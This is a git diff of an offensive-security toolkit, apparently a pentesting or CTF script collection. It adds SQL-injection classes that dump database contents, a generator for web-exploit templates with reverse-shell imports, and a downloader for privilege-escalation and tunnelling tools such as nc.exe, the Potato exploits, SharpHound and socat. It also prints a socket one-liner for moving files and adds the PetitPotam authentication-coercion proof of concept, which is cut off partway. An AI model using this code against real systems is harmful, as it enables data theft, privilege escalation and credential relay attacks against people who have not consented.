query += "" if limit is None else f" LIMIT {limit}"
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False, binary_search=True): query += "" if offset is None or limit is None else f" OFFSET {offset}"
return query
query = self.build_query(column, table, condition, offset)
if self.blind_sqli(f"({query})=0"):
return 0
if not binary_search:
cur_int = 1
while self.blind_sqli(f"({query})>{cur_int}"):
cur_int += 1
return cur_int
else:
min_value = 1
max_value = 1
while self.blind_sqli(f"({query})>{max_value}"):
min_value = max_value + 1
max_value = max_value * 2
max_value = max_value - 1
while True:
cur_int = (min_value + max_value) // 2
if self.blind_sqli(f"({query})>{cur_int}"):
min_value = cur_int + 1
elif self.blind_sqli(f"({query})<{cur_int}"):
max_value = cur_int - 1
else:
return cur_int
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False): def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
@@ -55,44 +25,32 @@ class SQLi(ABC):
return rows return rows
def extract_string(self, column: str, table=None, condition=None, offset=None, max_length=None, verbose=False, charset=string.printable): def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False):
if max_length is None:
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
if verbose:
print("Fetched length:", max_length)
cur_str = ""
while True:
found = False
query = self.build_query(f"ascii(substr({column},{len(cur_str) + 1},1))", table, condition, offset)
for c in charset:
if self.blind_sqli(f"({query})={ord(c)}"):
found = True
cur_str += c
if verbose:
sys.stdout.write(c)
sys.stdout.flush()
break
if not found or (max_length is not None and len(cur_str) >= max_length):
break
if verbose:
print()
return cur_str
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False, charset=string.printable):
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose) row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
if verbose: if verbose:
print(f"Fetching {row_count} rows") print(f"Fetching {row_count} rows")
rows = [] rows = []
for i in range(0, row_count): for i in range(0, row_count):
rows.append(self.extract_string(column, table, condition, i, verbose=verbose, charset=charset)) rows.append(self.extract_string(column, table, condition, i, verbose=verbose))
return rows return rows
def substring(self, what, offset: int, size: int):
return f"substr({what},{offset},{size})"
def ascii(self, what):
return f"ascii({what})"
@abstractmethod
def extract_int(self, column: str, table=None, condition=None,
offset=None, verbose=False):
pass
@abstractmethod
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
pass
@abstractmethod @abstractmethod
def get_database_version(self, verbose=False): def get_database_version(self, verbose=False):
pass pass
@@ -105,10 +63,6 @@ class SQLi(ABC):
def get_current_database(self, verbose=False): def get_current_database(self, verbose=False):
pass pass
@abstractmethod
def blind_sqli(self, condition: str, verbose=False) -> bool:
pass
@abstractmethod @abstractmethod
def get_table_names(self, schema: str, verbose=False): def get_table_names(self, schema: str, verbose=False):
pass pass
@@ -117,6 +71,191 @@ class SQLi(ABC):
def get_column_names(self, table: str, schema: str, verbose=False): def get_column_names(self, table: str, schema: str, verbose=False):
pass pass
class ReflectedSQLi(SQLi, ABC):
def __init__(self, column_types: list):
self.column_types = column_types
@abstractmethod
def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False):
pass
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
return int(self.extract_string(column, table, condition, offset))
def extract_string(self, column: list|str, table=None, condition=None, offset=None, verbose=False):
if str not in self.column_types:
print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
return None
str_column = self.column_types.index(str)
query_columns = list(map(lambda c: f"'{c}'", range(len(self.column_types))))
query_columns[str_column] = column
return self.reflected_sqli(query_columns, table, condition, offset)[str_column]
def extract_multiple_ints(self, columns: list|str, table=None, condition=None, verbose=False):
one = False
if isinstance(columns, str):
columns = [columns]
one = True
column_count = len(columns)
if len(self.column_types) < column_count:
print(f"[!] Reflectd SQL does not reflect required amount of columns. required={column_count}, got={len(self.column_types)}")
return None
query_columns = columns + list(map(str, range(column_count + 1, len(self.column_types) + 1)))
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
if verbose:
print(f"Fetching {row_count} rows")
rows = []
column_str = ",".join(query_columns)
for i in range(0, row_count):
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
if one:
rows.append(int(row[0]))
else:
rows.append(list(map(lambda i: int(row[i]), range(column_count))))
return rows
def extract_multiple_strings(self, columns: list|str, table=None, condition=None, verbose=False):
one = False
if isinstance(columns, str):
columns = [columns]
one = True
column_count = len(columns)
if self.column_types.count(str) < column_count:
print(f"[!] Reflectd SQL does not reflect required amount of string columns. required={column_count}, got={self.column_types.count(str)}")
return None
query_columns = list(map(str, range(1, len(self.column_types) + 1)))
offsets = list(None for _ in range(column_count))
offset = 0
for i, column in enumerate(columns):
while self.column_types[offset] != str:
offset += 1
offsets[i] = offset
query_columns[offset] = column
offset += 1
column_str = ",".join(query_columns)
# todo: fix count(*) for distinct
row_count = self.extract_int(f"COUNT(*)", table=table, condition=condition, verbose=verbose)
if verbose:
print(f"Fetching {row_count} rows")
rows = []
for i in range(0, row_count):
row = self.reflected_sqli(query_columns, table, condition, i, verbose=verbose)
if one:
rows.append(row[offsets[0]])
else:
rows.append(list(map(lambda o: row[o], offsets)))
return rows
@classmethod
def guess_reflected_columns(cls, callback):
data = None
column_count = 1
while data is None:
query_columns = list(map(lambda c: f"'column-{c}-sqli'", range(column_count)))
query_str = cls.build_query(query_columns)
data = callback(query_str) # should return some kind of text for a given query
if not data:
column_count += 1
continue
reflected_columns = []
for c in range(column_count):
column_name = f"'column-{c}-sqli'"
reflected_columns.append(str if column_name in data else None) # how to guess the type (str/int)?
return reflected_columns
# todo: extract_multiple with columns as dict (name -> type), e.g. extract_multiple({"id": int, "name": str})
class BlindSQLi(SQLi, ABC):
@abstractmethod
def blind_sqli(self, condition: str, verbose=False) -> bool:
pass
def extract_int(self, column: str, table=None, condition=None,
offset=None, verbose=False, binary_search=True,
min_value=None, max_value=None):
query = self.build_query(column, table, condition, offset)
if self.blind_sqli(f"({query})=0"):
return 0
if not binary_search:
cur_int = 1 if min_value is None else min_value
while self.blind_sqli(f"({query})>{cur_int}", verbose):
cur_int += 1
if max_value is not None and cur_int >= max_value:
return None
return cur_int
else:
if min_value is None or max_value is None:
min_value = 1 if min_value is None else min_value
max_value = 1 if max_value is None else max_value
while self.blind_sqli(f"({query})>{max_value}", verbose):
min_value = max_value + 1
max_value = max_value * 2
while True:
cur_int = (min_value + max_value) // 2
if self.blind_sqli(f"({query})>{cur_int}", verbose):
min_value = cur_int + 1
elif self.blind_sqli(f"({query})<{cur_int}", verbose):
max_value = cur_int - 1
else:
return cur_int
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable):
if max_length is None:
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
if verbose:
print("Fetched length:", max_length)
cur_str = ""
while True:
found = False
cur_column = self.ascii(self.substring(column, len(cur_str) + 1, 1))
if charset:
query = self.build_query(cur_column, table, condition, offset)
for c in charset:
if self.blind_sqli(f"({query})={ord(c)}"):
found = True
cur_str += c
if verbose:
sys.stdout.write(c)
sys.stdout.flush()
break
else:
c = self.extract_int(cur_column, table, condition, min_value=0, max_value=127)
if c is not None:
found = True
cur_str += chr(c)
if verbose:
sys.stdout.write(chr(c))
sys.stdout.flush()
if not found or (max_length is not None and len(cur_str) >= max_length):
break
if verbose:
print()
return cur_str
class PostgreSQLi(SQLi, ABC): class PostgreSQLi(SQLi, ABC):
def get_database_version(self, verbose=False): def get_database_version(self, verbose=False):
@@ -137,7 +276,6 @@ class PostgreSQLi(SQLi, ABC):
f"table_schema='{schema}' AND table_name='{table}'", f"table_schema='{schema}' AND table_name='{table}'",
verbose=verbose) verbose=verbose)
class MySQLi(SQLi, ABC): class MySQLi(SQLi, ABC):
def get_database_version(self, verbose=False): def get_database_version(self, verbose=False):
return self.extract_string("VERSION()", verbose=verbose) return self.extract_string("VERSION()", verbose=verbose)
@@ -156,3 +294,24 @@ class MySQLi(SQLi, ABC):
return self.extract_multiple_strings("column_name", "information_schema.columns", return self.extract_multiple_strings("column_name", "information_schema.columns",
f"table_schema='{schema}' AND table_name='{table}'", f"table_schema='{schema}' AND table_name='{table}'",
verbose=verbose) verbose=verbose)
class SQLitei(SQLi, ABC):
def get_database_version(self, verbose=False):
return self.extract_string("sqlite_version()", verbose=verbose)
def get_current_user(self, verbose=False):
raise Exception("Not implemented!")
def get_current_database(self, verbose=False):
raise Exception("Not implemented!")
def get_table_names(self, verbose=False):
return self.extract_multiple_strings("name", "sqlite_schema", f"type='table'",
verbose=verbose)
def get_column_names(self, table: str, schema: str, verbose=False):
# TODO: we could query the "sql" column and parse it using regex
raise Exception("Not implemented!")
def ascii(self, what):
return f"unicode({what})"

View File

@@ -14,7 +14,7 @@ fi
DOMAIN=$(echo $DOMAIN | sed -e 's|^[^/]*//||' -e 's|/.*$||') DOMAIN=$(echo $DOMAIN | sed -e 's|^[^/]*//||' -e 's|/.*$||')
if [ $# -lt 2 ]; then
echo "[ ] Resolving IP-Address…" echo "[ ] Resolving IP-Address…"
output=$(resolveip $DOMAIN 2>&1) output=$(resolveip $DOMAIN 2>&1)
status=$(echo $?) status=$(echo $?)
@@ -22,6 +22,12 @@ if ! [[ $status == 0 ]] ; then
echo "[-] ${output}" echo "[-] ${output}"
exit exit
fi fi
IP_ADDRESS=$(echo $output | head -n 1 | awk '{print $NF}')
echo "[+] IP-Address: ${IP_ADDRESS}"
else
IP_ADDRESS=$2
echo "[+] Using IP-Address: ${IP_ADDRESS}"
fi
function sni () { function sni () {
protocol=$1 protocol=$1
@@ -37,14 +43,12 @@ function sni () {
echo $sni echo $sni
} }
IP_ADDRESS=$(echo $output | head -n 1 | awk '{print $NF}')
echo "[+] IP-Address: ${IP_ADDRESS}"
echo "[ ] Retrieving default site…" echo "[ ] Retrieving default site…"
rnd=$(uuidgen) rnd=$(uuidgen)
sni=$(sni ${PROTOCOL} ${rnd}.${DOMAIN}) sni=$(sni ${PROTOCOL} ${rnd}.${DOMAIN})
charcountDomain=$(curl -s "${PROTOCOL}://${DOMAIN}" -k -m 5 | wc -m)
charcountIpAddress=$(curl -s "${PROTOCOL}://${IP_ADDRESS}" -k -m 5 | wc -m) charcountIpAddress=$(curl -s "${PROTOCOL}://${IP_ADDRESS}" -k -m 5 | wc -m)
charcountNonExistent=$(curl -s "${PROTOCOL}://${rnd}.${DOMAIN}" --resolve "${sni}:${IP_ADDRESS}" -k -m 5 | wc -m) charcountNonExistent=$(curl -s "${PROTOCOL}://${rnd}.${DOMAIN}" --resolve "${sni}:${IP_ADDRESS}" -k -m 5 | wc -m)
charcountDomain=$(curl -s "${PROTOCOL}://${DOMAIN}" -k -m 5 | wc -m)
echo "[+] Chars: ${charcountDomain}, ${charcountIpAddress}, ${charcountNonExistent}" echo "[+] Chars: ${charcountDomain}, ${charcountIpAddress}, ${charcountNonExistent}"
echo "[ ] Fuzzing…" echo "[ ] Fuzzing…"

View File

@@ -1,18 +1,40 @@
#!/usr/bin/env python #!/usr/bin/env python
import re
import sys import sys
import json import json
import argparse
import urllib.parse import urllib.parse
def generate_template(base_url, features): def generate_template(base_url, features):
variables = { # we could all need that
"IP_ADDRESS": "util.get_address()", imports = [
"BASE_URL": f'"{base_url}" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"', "os", "io", "re", "sys",
"PROXIES": json.dumps({"http":"http://127.0.0.1:8080", "https":"http://127.0.0.1:8080"}) "json", "time", "base64", "requests",
"subprocess", "urllib.parse"
]
partial_imports = {
"bs4": ["BeautifulSoup"],
"hackingscripts": ["util", "rev_shell"],
"urllib3.exceptions": ["InsecureRequestWarning"]
} }
if "proxies" in features or "burp" in features: main_code = []
methods = []
ip_address_arg = next(filter(lambda f: re.match(r"ip_address=(.*)", f), features), None)
ip_address = "util.get_address()" if not ip_address_arg else "'" + ip_address_arg[1] + "'"
variables = {
"IP_ADDRESS": ip_address,
"BASE_URL": f'"{base_url}" if "LOCAL" not in sys.argv else "http://127.0.0.1:1337"'
}
proxy_arg = next(filter(lambda f: re.match(r"proxy=(.*)", f), features), None)
if proxy_arg or "burp" in features:
proxy_url = "http://127.0.0.1:8080" if not proxy_arg else proxy_arg[1]
variables["PROXIES"] = json.dumps({"http": proxy_url, "https": proxy_url})
proxy = """ proxy = """
if \"proxies\" not in kwargs: if \"proxies\" not in kwargs:
kwargs[\"proxies\"] = PROXIES kwargs[\"proxies\"] = PROXIES
@@ -30,7 +52,7 @@ def generate_template(base_url, features):
vhost_param = "" vhost_param = ""
full_url = "BASE_URL + uri" full_url = "BASE_URL + uri"
request_method = f"""def request(method, uri{vhost_param}, **kwargs): methods.insert(0, f"""def request(method, uri{vhost_param}, **kwargs):
if not uri.startswith("/") and uri != "": if not uri.startswith("/") and uri != "":
uri = "/" + uri uri = "/" + uri
@@ -47,25 +69,12 @@ def generate_template(base_url, features):
{proxy} {proxy}
url = {full_url} url = {full_url}
return client.request(method, url, **kwargs) return client.request(method, url, **kwargs)
"""
methods = [request_method]
if "login" in features or "account" in features:
variables["USERNAME"] = '"Blindhero"'
variables["PASSWORD"] = '"test1234"'
methods.append("""
def login(username, password):
session = requests.Session()
res = request("POST", "/login", data={"username": username, "password": password}, session=session)
if res.status_code != 200:
print("[-] Error logging in")
exit()
return session
""") """)
if "register" in features or "account" in features: if "register" in features or "account" in features:
main_code.append("""if not register(USERNAME, PASSWORD):
exit(1)
""")
variables["USERNAME"] = '"Blindhero"' variables["USERNAME"] = '"Blindhero"'
variables["PASSWORD"] = '"test1234"' variables["PASSWORD"] = '"test1234"'
methods.append(""" methods.append("""
@@ -78,31 +87,80 @@ def register(username, password):
return True return True
""") """)
main = """ if "login" in features or "account" in features:
main_code.append("""session = login(USERNAME, PASSWORD)
if not session:
exit(1)
""")
variables["USERNAME"] = '"username"'
variables["PASSWORD"] = '"password"'
methods.append("""
def login(username, password):
session = requests.Session()
res = request("POST", "/login", data={"username": username, "password": password}, session=session)
if res.status_code != 200:
print("[-] Error logging in")
exit()
return session
""")
if "sqli" in features:
partial_imports["hackingscripts.sqli"] = ["MySQLi", "PostgreSQLi", "BlindSQLi", "ReflectedSQLi"]
methods.append("""
class ReflectedSQLiPoC(MySQLi, ReflectedSQLi):
def __init__(self):
# TODO: specify reflected columns with their types
super().__init__([None, str, int])
def reflected_sqli(self, columns: list, table=None, condition=None, offset=None, verbose=False):
# TODO: build query and extract columns from response
return None
""")
methods.append("""
class BlindSQLiPoC(MySQLi, BlindSQLi):
def blind_sqli(self, condition: str, verbose=False) -> bool:
# TODO: build query and evaluate condition
return False
""")
main_code.append("""poc = ReflectedSQLiPoC()
print(poc.get_current_user())
""")
if "http-server" in features or "file-server" in features:
partial_imports["hackingscripts.fileserver"] = ["HttpFileServer"]
main_code.append("""file_server = HttpFileServer("0.0.0.0", 3000)
file_server.enableLogging()
file_server.addRoute("/dynamic", on_request)
file_server.addFile("/static", b"static-content")
file_server.startBackground()
""")
methods.append("""
def on_request(req):
# TODO: auto generated method stub
return 200, b"", { "X-Custom-Header": "1" }
""")
if len(main_code) == 0:
main_code = ["pass"]
main = f"""
if __name__ == "__main__": if __name__ == "__main__":
pass {'\n '.join(main_code)}
""" """
imports = "\n".join(f"import {i}" for i in sorted(imports, key=len))
imports += "\n" + "\n".join(sorted(list(f"from {p} import {', '.join(i)}" for p, i in partial_imports.items()), key=len))
variables = "\n".join(f"{k} = {v}" for k, v in variables.items()) variables = "\n".join(f"{k} = {v}" for k, v in variables.items())
header = f"""#!/usr/bin/env python header = f"""#!/usr/bin/env python
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit #
# https://git.romanh.de/Roman/HackingScripts # THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY {' '.join(sys.argv)}
# For more information, visit: https://git.romanh.de/Roman/HackingScripts
#
import os {imports}
import io
import re
import sys
import json
import time
import base64
import requests
import subprocess
import urllib.parse
from bs4 import BeautifulSoup
from hackingscripts import util, rev_shell
from hackingscripts.fileserver import HttpFileServer
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
{variables} {variables}
@@ -113,14 +171,38 @@ requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
if __name__ == "__main__": if __name__ == "__main__":
if len(sys.argv) < 2: parser = argparse.ArgumentParser(
print("Usage: %s <URL> [features]" % sys.argv[0]) description="Exploit Template for web attacks",
exit() formatter_class=argparse.RawTextHelpFormatter
)
url = sys.argv[1] available_features = [
"ip_address=[...]: Local IP-Address for reverse connections",
"burp|proxy=[...]: Tunnel traffic through a given proxy or Burp defaults",
"subdomain|vhost: Allow to specify a subdomain for outgoing requests",
"register|account: Generate an account registration method stub",
"login|account: Generate an account login method stub",
"sqli: Generate an template SQL-Injection class",
"http-server|file-server: Generate code for starting an in-memory http server"
]
parser.add_argument("url", type=str, help="Target URL")
parser.add_argument(
"-f",
"--features",
nargs="*",
type=str,
default=[],
help="Optional list of features:\n- " + "\n- ".join(available_features)
)
args = parser.parse_args()
url = args.url
if "://" not in url: if "://" not in url:
url = "http://" + url url = "http://" + url
features = [] if len(sys.argv) < 3 else sys.argv[2].split(",") features = args.features
template = generate_template(url, features) template = generate_template(url, features)
print(template) print(template)

View File

@@ -50,19 +50,33 @@ download https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh LinEnum.sh
download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh download https://github.com/stealthcopter/deepce/raw/main/deepce.sh deepce.sh
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py PetitPotam.py
echo ""
echo "Updating LinPEAS + WinPEAS…" echo "Updating LinPEAS + WinPEAS…"
peas_version=$(get_latest_version carlospolop/PEASS-ng) peas_version=$(get_latest_version peass-ng/PEASS-ng)
if [ ! -z "$peas_version" ]; then if [ ! -z "$peas_version" ]; then
echo "Got PEAS version: $peas_version" echo "Got PEAS version: $peas_version"
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/linpeas.sh linpeas.sh download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/linpeas.sh linpeas.sh
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/winPEASx86.exe win/winPEAS.exe download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/winPEASx86.exe win/winPEAS.exe
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/winPEASx64.exe win/winPEASx64.exe download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/winPEASx64.exe win/winPEASx64.exe
download https://github.com/carlospolop/PEASS-ng/releases/download/$peas_version/winPEAS.bat win/winPEAS.bat download https://github.com/peass-ng/PEASS-ng/releases/download/$peas_version/winPEAS.bat win/winPEAS.bat
else else
echo "Unable to determine latest PEAS version" echo "Unable to determine latest PEAS version"
fi fi
echo "Updating Chisel…" # TODO: add others
echo ""
echo "Updating windows tools…"
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
download https://raw.githubusercontent.com/topotam/PetitPotam/main/PetitPotam.py win/PetitPotam.py
echo ""
chisel_version=$(get_latest_version jpillora/chisel v) chisel_version=$(get_latest_version jpillora/chisel v)
if [ ! -z "$chisel_version" ]; then if [ ! -z "$chisel_version" ]; then
echo "Got Chisel version: $chisel_version" echo "Got Chisel version: $chisel_version"
@@ -74,19 +88,17 @@ else
echo "Unable to determine latest chisel version" echo "Unable to determine latest chisel version"
fi fi
# TODO: add others
echo "Updating windows tools…"
download https://live.sysinternals.com/accesschk.exe win/accesschk.exe
download https://live.sysinternals.com/accesschk64.exe win/accesschk64.exe
download https://github.com/int0x33/nc.exe/raw/master/nc.exe win/nc.exe
download https://github.com/int0x33/nc.exe/raw/master/nc64.exe win/nc64.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x86/jp32.exe win/JuicyPotato.exe
download https://github.com/k4sth4/Juicy-Potato/raw/main/x64/jp.exe win/JuicyPotato64.exe
download https://github.com/uknowsec/SweetPotato/raw/master/SweetPotato-Webshell-new/bin/Release/SweetPotato.exe win/SweetPotato.exe
download https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe win/GodPotato.exe
sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v) sharphound_version=$(get_latest_version BloodHoundAD/SharpHound v)
if [ ! -z "$sharphound_version" ]; then if [ ! -z "$sharphound_version" ]; then
echo "Got Chisel version: $sharphound_version" echo "Got Sharphound version: $sharphound_version"
download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1 download_zip https://github.com/BloodHoundAD/SharpHound/releases/download/v${sharphound_version}/SharpHound-v${sharphound_version}.zip win/ SharpHound.exe SharpHound.ps1
fi fi
socat_version=$(get_latest_version "3ndG4me/socat" v)
if [ ! -z "$socat_version" ]; then
echo "Got socat version: $socat_version"
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.bin socat
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.bin socat64
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx86.exe win/socat.exe
download https://github.com/3ndG4me/socat/releases/download/v${socat_version}/socatx64.exe win/socat64.exe
fi

View File

@@ -46,6 +46,7 @@ if __name__ == "__main__":
print("[+] Now listening, download file using:") print("[+] Now listening, download file using:")
print('nc %s %d > %s' % (address, listen_sock.getsockname()[1], os.path.basename(path))) print('nc %s %d > %s' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
print('python -c \'import socket;sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM,0);sock.connect(("%s",%d));sock.sendall(open("%s","rb").read())\'' % (address, listen_sock.getsockname()[1], os.path.basename(path)))
print() print()
serve_file(listen_sock, path, forever=True) serve_file(listen_sock, path, forever=True)

View File

@@ -135,6 +135,9 @@ def assert_json_path(res, path, value, err=None):
json_data = json.loads(res.text) json_data = json.loads(res.text)
for key in filter(None, path.split(".")): for key in filter(None, path.split(".")):
match = re.match(r"\[([0-9]+)\]", key)
if match:
key = int(match[1])
json_data = json_data[key] json_data = json_data[key]
if json_data == value: if json_data == value:

461
win/PetitPotam.py Normal file
View File

@@ -0,0 +1,461 @@
#!/usr/bin/env python
#
# Author: GILLES Lionel aka topotam (@topotam77)
#
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo) my friends!
# "Most of" the code stolen from dementor.py from @3xocyte ;)
import sys
import argparse
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
show_banner = '''
___ _ _ _ ___ _
| _ \ ___ | |_ (_) | |_ | _ \ ___ | |_ __ _ _ __
| _/ / -_) | _| | | | _| | _/ / _ \ | _| / _` | | ' \
_|_|_ \___| _\__| _|_|_ _\__| _|_|_ \___/ _\__| \__,_| |_|_|_|
_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
PoC to elicit machine account authentication via some MS-EFSRPC functions
by topotam (@topotam77)
Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN
'''
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__( self ):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'EFSR SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'EFSR SessionError: unknown error code: 0x%x' % self.error_code
################################################################################
# STRUCTURES
################################################################################
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EXIMPORT_CONTEXT_HANDLE(NDRSTRUCT):
align = 1
structure = (
('Data', '20s'),
)
class EFS_EXIM_PIPE(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
class EFS_HASH_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class EFS_CERTIFICATE_BLOB(NDRSTRUCT):
structure = (
('Type', DWORD),
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_HASH_BLOB),
('Display', LPWSTR),
)
class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = (
('Lenght', DWORD),
('SID', RPC_SID),
('Hash', EFS_CERTIFICATE_BLOB),
)
class ENCRYPTION_CERTIFICATE_HASH_LIST(NDRSTRUCT):
align = 1
structure = (
('Cert', DWORD),
('Users', ENCRYPTION_CERTIFICATE_HASH),
)
class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
structure = (
('Type', DWORD),
('HASH', ENCRYPTION_CERTIFICATE_HASH_LIST),
('Certif', ENCRYPTION_CERTIFICATE),
('Blob', EFS_RPC_BLOB),
)
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1
structure = (
('Data', ':'),
)
################################################################################
# RPC CALLS
################################################################################
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
('fileName', WSTR),
('Flag', ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
('hContext', EXIMPORT_CONTEXT_HANDLE),
('ErrorCode', ULONG),
)
class EfsRpcEncryptFileSrv(NDRCALL):
opnum = 4
structure = (
('FileName', WSTR),
)
class EfsRpcEncryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDecryptFileSrv(NDRCALL):
opnum = 5
structure = (
('FileName', WSTR),
('Flag', ULONG),
)
class EfsRpcDecryptFileSrvResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryUsersOnFile(NDRCALL):
opnum = 6
structure = (
('FileName', WSTR),
)
class EfsRpcQueryUsersOnFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcQueryRecoveryAgents(NDRCALL):
opnum = 7
structure = (
('FileName', WSTR),
)
class EfsRpcQueryRecoveryAgentsResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcRemoveUsersFromFile(NDRCALL):
opnum = 8
structure = (
('FileName', WSTR),
('Users', ENCRYPTION_CERTIFICATE_HASH_LIST)
)
class EfsRpcRemoveUsersFromFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFile(NDRCALL):
opnum = 9
structure = (
('FileName', WSTR),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST)
)
class EfsRpcAddUsersToFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfo(NDRCALL):
opnum = 12
structure = (
('FileName', WSTR),
('infoClass', DWORD),
)
class EfsRpcFileKeyInfoResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcDuplicateEncryptionInfoFile(NDRCALL):
opnum = 13
structure = (
('SrcFileName', WSTR),
('DestFileName', WSTR),
('dwCreationDisposition', DWORD),
('dwAttributes', DWORD),
('RelativeSD', EFS_RPC_BLOB),
('bInheritHandle', BOOL),
)
class EfsRpcDuplicateEncryptionInfoFileResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcAddUsersToFileEx(NDRCALL):
opnum = 15
structure = (
('dwFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('dwAttributes', DWORD),
('EncryptionCertificates', ENCRYPTION_CERTIFICATE_LIST),
)
class EfsRpcAddUsersToFileExResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class EfsRpcFileKeyInfoEx(NDRCALL):
opnum = 16
structure = (
('dwFileKeyInfoFlags', DWORD),
('Reserved', EFS_RPC_BLOB),
('FileName', WSTR),
('InfoClass', DWORD),
)
